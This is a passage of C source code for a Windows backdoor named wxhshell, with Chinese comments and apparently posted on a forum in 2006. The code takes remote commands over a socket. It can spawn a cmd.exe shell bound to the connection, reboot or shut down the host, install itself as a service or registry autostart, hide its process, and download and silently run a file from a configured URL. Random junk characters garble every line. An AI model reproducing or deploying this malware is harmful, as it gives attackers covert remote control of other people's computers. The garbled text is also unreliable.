    switch(cmd[0]) { _* xjG \!  
  A[/_}bI|  
  // 帮助 9{{|P=  
  case '?': { dKOW5\H'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^^ Q'AE  
    break; \Kx@?,  
  } &I&:  
  // 安装 Ac0^`  
  case 'i': { 9rB,7%@EL  
    if(Install()) AjTkQ)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44uM:;  
    else Z/|oCwR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M!{;:m28X!  
    break; [r,ZM  
    } hU:M]O0uw  
  // 卸载 [@l:C\2  
  case 'r': { ^[7ZBmS  
    if(Uninstall()) iK#5nY].  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q\P?[i]  
    else @E(_H$|E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (5^bU<  
    break; @AXRKYQ{t  
    } +YL9gNN>P  
  // 显示 wxhshell 所在路径 P4M*vZq)  
  case 'p': { 3$.R=MQ7  
    char svExeFile[MAX_PATH]; }mz6z<pJ_  
    strcpy(svExeFile,"\n\r"); ou r$Ka31  
      strcat(svExeFile,ExeFile); k *a?Ey$  
        send(wsh,svExeFile,strlen(svExeFile),0); e~Oge  
    break; N W/RQ(  
    } PRs[! EB6  
  // 重启 X&B2&e;  
  case 'b': { $_j\b4]%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k/"^W.B aj  
    if(Boot(REBOOT)) kIm)Um  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .pP{;:Avpn  
    else { mSw$? >  
    closesocket(wsh); l>KkK|!T^i  
    ExitThread(0); 0@FZQ$-  
    } }b// oe7  
    break; Cr!}qZq  
    } FC'v= *  
  // 关机 dG6 G  
  case 'd': { nLA8Hy"8z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %n^jho5  
    if(Boot(SHUTDOWN)) /M:R|91:_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %0>DjzYt  
    else { $ BEIG@qG  
    closesocket(wsh); {,Y?+F  
    ExitThread(0); 2:31J4t-<  
    } ]kJinXHW  
    break; sH//*y  
    } &rTOJ 1)V}  
  // 获取shell U]Iypl`l  
  case 's': { 0 i76(2  
    CmdShell(wsh); SJYy,F],V"  
    closesocket(wsh); QKj-"y[  
    ExitThread(0); `zr%+  
    break; r%M.rYLG{  
  } So ?ScX\lG  
  // 退出 FME&v Uh/  
  case 'x': { u7rA8u|TO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eXHk6[%[  
    CloseIt(wsh); +=XDNSw  
    break; (J c} K  
    } ZT UaF4k j  
  // 离开 MwoU>+XB  
  case 'q': { QB<9Be@e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3GH@|id  
    closesocket(wsh); X[Lwx.Ly8  
    WSACleanup();  mN>7vJ  
    exit(1); eR'Df" +  
    break; q*^Y8s~3I  
        } uXs.7+f  
  } %i7bkdcwk  
  } J! ;g.q  
d)'am 3Q  
  // 提示信息 F %OA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D1&%N{  
} P'.M.I@  
  } #6XN_<  
`+IB;G1  
  return; M;BDo(1  
} 9uV'# sR  
=B}a +0u!  
// shell模块句柄 #WBlEVx;Z  
int CmdShell(SOCKET sock) _JlbVe[<  
{ taS2b#6\+  
STARTUPINFO si; BPp`r_m8w}  
ZeroMemory(&si,sizeof(si)); W/(D"[:l%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Un{Q~6h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [dm&I#m=  
PROCESS_INFORMATION ProcessInfo; <kQ 5sG  
char cmdline[]="cmd"; #cG7h(!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UL81x72O  
  return 0; JArSJ:}  
} `>M-J-J  
m).S0  
// 自身启动模式 QvM+]pdR6  
int StartFromService(void) kz|2PP  
{ ` u#'  
typedef struct p0 @ ,-  
{ `[hc{ynO|  
  DWORD ExitStatus; X^!n'$^u  
  DWORD PebBaseAddress; {1RI!#[\  
  DWORD AffinityMask; ff.(X!  
  DWORD BasePriority; T#;W5<"  
  ULONG UniqueProcessId; #) eI]  
  ULONG InheritedFromUniqueProcessId; Fai_v{&?  
}   PROCESS_BASIC_INFORMATION; k lLhi<*  
` ZO#n  
PROCNTQSIP NtQueryInformationProcess; Z(fXN$  
^[K3]*!@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r-M:YB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; + .Pv:7gh  
+mM=`[Z`??  
  HANDLE             hProcess; =T73660  
  PROCESS_BASIC_INFORMATION pbi; OE{{,HFa`G  
`6`p~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v-zi ,]W  
  if(NULL == hInst ) return 0; -f&16pc1t  
P`/;3u/P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yc4?'k!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -__RFxG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9`83cL  
F`/-Q>Q  
  if (!NtQueryInformationProcess) return 0; VMry$  
`Gct_6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lk?%B)z  
  if(!hProcess) return 0; Y ^s_v_s  
|eN#9Bm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5a$Q}!6E.Y  
qJjXN+/D  
  CloseHandle(hProcess); UDjmXQ2,  
~7!=<MW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \!!qzrq  
if(hProcess==NULL) return 0; QucDIZ  
|Z]KF>S]  
HMODULE hMod; l;*/F`>c  
char procName[255]; PI KQ}aq=  
unsigned long cbNeeded;  ]/l"  
lSMv9 :N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~d0:>8zQR  
OT1  
  CloseHandle(hProcess); nz{ ;]U1  
T:v.]0l~  
if(strstr(procName,"services")) return 1; // 以服务启动 "I[a]T}/  
9q +I  
  return 0; // 注册表启动 @DiXe[kI  
} J1i{n7f=@  
t)#8r,9c  
// 主模块 Gv ';  
int StartWxhshell(LPSTR lpCmdLine) xC3h m  
{ {1 VHz])I  
  SOCKET wsl; T1$fu(f  
BOOL val=TRUE; BZS%p  
  int port=0; [v@3|@  
  struct sockaddr_in door; SM57bN  
}ufzlHD  
  if(wscfg.ws_autoins) Install(); W<f-  
gN,O)@N'd3  
port=atoi(lpCmdLine); &cZQ,o  
AcZ{B<  
if(port<=0) port=wscfg.ws_port; }BF!!*  
%7w=;]ym  
  WSADATA data; `ChS$p"A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mf~Joluc J  
a ~s:f5S>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #Hn<4g"AjM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [Lck55V+Q  
  door.sin_family = AF_INET; /{)}y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0bG[pp$[  
  door.sin_port = htons(port);  Dno]N  
\ a#{Y/j3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6?;U[eV  
closesocket(wsl); % G'{G  
return 1; 4>x$I9^Y!  
} /"(`oe<  
z3n273W>6  
  if(listen(wsl,2) == INVALID_SOCKET) { hgYi ,e  
closesocket(wsl); 0V RV. Ml  
return 1; a&^HvXO(>(  
} ro&/  
  Wxhshell(wsl); a+HGlj 2>  
  WSACleanup(); [Rj_p&'  
^sF/-/ {?U  
return 0; { l E\y9  
0W_olnZ  
} q8m{zSr  
WGmXq.  
// 以NT服务方式启动 (vR9vOpJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )WBp.j /#  
{ c)*,">$#  
DWORD   status = 0; ojc m%yd  
  DWORD   specificError = 0xfffffff; c -sc*.&  
8+* 1s7{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v}cTS@0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wg!<V6}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MG}rvzn@  
  serviceStatus.dwWin32ExitCode     = 0; }1xD*[W  
  serviceStatus.dwServiceSpecificExitCode = 0; Cs!z3QU  
  serviceStatus.dwCheckPoint       = 0; w"Q/ 6#!K  
  serviceStatus.dwWaitHint       = 0; 1"\^@qRv#  
!:]/MpQ ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {4F=].!  
  if (hServiceStatusHandle==0) return; QZh#&Qf;  
e2"<3  
status = GetLastError(); z|M+ FHl$  
  if (status!=NO_ERROR) vVbBg; {  
{ 5cUz^ >  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ; b`kN;s  
    serviceStatus.dwCheckPoint       = 0; e,?qwZK:y  
    serviceStatus.dwWaitHint       = 0; MdC}!&W  
    serviceStatus.dwWin32ExitCode     = status; `i `F$;  
    serviceStatus.dwServiceSpecificExitCode = specificError; +=Y[RCXT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l cX'n8/3  
    return; Qi=pP/Y  
  } !g.?+~@  
Q4Zw<IZv5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H2jF=U"=  
  serviceStatus.dwCheckPoint       = 0;  * Cj<Vy  
  serviceStatus.dwWaitHint       = 0; g1H$wU3eu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); APJVD-  
} !MyCxM6  
9cIKi#Bl  
// 处理NT服务事件,比如:启动、停止 p!o?2Lbiw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F(; =^w  
{ e"d-$$'e  
switch(fdwControl) NiSybyR$  
{ _x`oab0@  
case SERVICE_CONTROL_STOP: 20,}T)}Tm  
  serviceStatus.dwWin32ExitCode = 0; \H4$9lPk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V;LV),R?  
  serviceStatus.dwCheckPoint   = 0; b Y2:g )  
  serviceStatus.dwWaitHint     = 0; Ja7yq{j  
  { \Dx;AKs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y$K[ArqX  
  } oHPh2b0  
  return; ,%T sfB  
case SERVICE_CONTROL_PAUSE: 4[lym,8C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xk(p:^ R  
  break; YlC$L$%Zd.  
case SERVICE_CONTROL_CONTINUE: :^En\YcU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &SW~4{n:  
  break; pwg\b  
case SERVICE_CONTROL_INTERROGATE: ]<BT+6L  
  break; 8x`E UJ  
}; Ods~tM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c }7gHud  
} -NPX;e$<  
="('  #o  
// 标准应用程序主函数 GK`U<.[c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &?H`MCv t  
{ h:=W`(n5u  
{+^&7JX  
// 获取操作系统版本 Rn$TYCO  
OsIsNt=GetOsVer(); I]-"Tw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2 {xf{)hO?  
sh/4ui{  
  // 从命令行安装 !BjJ5m  
  if(strpbrk(lpCmdLine,"iI")) Install(); B'-n ^';  
8\S$iGd  
  // 下载执行文件 "=Cjm`9~j  
if(wscfg.ws_downexe) { @:/H)F^x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IMSLHwZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); T0X+\&W  
} Oj>;[O"  
2dCD.9s9~  
if(!OsIsNt) { V` 4/oM`  
// 如果时win9x,隐藏进程并且设置为注册表启动 Gm[XnUR7V  
HideProc(); C/!7E:  
StartWxhshell(lpCmdLine); ' j\~> a3\  
} bo-lT-I  
else |Sv}/ P-  
  if(StartFromService()) `hDH7u!U.  
  // 以服务方式启动 YJF|J2u  
  StartServiceCtrlDispatcher(DispatchTable); /^9=2~b  
else ?/fC"MJq?  
  // 普通方式启动 ,R}9n@JI^Y  
  StartWxhshell(lpCmdLine); 6SF29[&  
y-uSpW  
return 0; }E^k*S  
}
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只看该作者 1 发表于: 2006-10-10
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